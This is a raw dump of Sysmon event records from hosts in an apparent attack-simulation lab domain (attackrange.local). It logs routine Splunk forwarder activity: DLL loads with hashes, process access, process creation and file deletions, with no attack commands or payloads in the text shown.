734700x800000000000000053229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000053228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000053227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000053226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000053225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000053224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000053223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000053222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000053221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000053220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000053219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000053218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000053217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000053215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000053214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000053212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000053208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000053206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.880{7BD73061-737B-613B-7B0B-00000000F001}2892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000053205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.877{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BC2B80FD6D81056440C147FAEABA8A1A,SHA256=5EB97CDD73EE0EF9735E3D695FB217AFD0C77AC1C380046A429C89B7B416992B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.846{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E98221BDA9921B727E25815A56B7B460,SHA256=CC06B4FA7DC36792CEDDCCCE85510943C90A9A0AA7B4A1152E5CB4136ADD00C4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.809{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=B436EA19E736E1AC96E7872A1F2779C1,SHA256=481358A52BE3D4BCF81924ABC3C4FE9915CE628BCCC1A8EFD6223EBC948CE309,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017042Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:19.128{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F1DF43775F61E2935EFCA26657851C00,SHA256=D08274B233FFAD1157ACF96E77E795252B8BAFD3D4CFCCDB48AA78DD8FDA26F0,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000053202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.577{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000053201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.577{7BD73061-737B-613B-7A0B-00000000F001}69006084C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.577{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000053199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.577{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000053198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.377{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000053197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.377{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000053196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.377{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000053195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.377{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000053194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.377{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000053193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.377{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000053192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.377{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000053191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.377{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000053190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000053189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:19.361{7BD73061-737B-613B-7A0B-00000000F001}6900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating 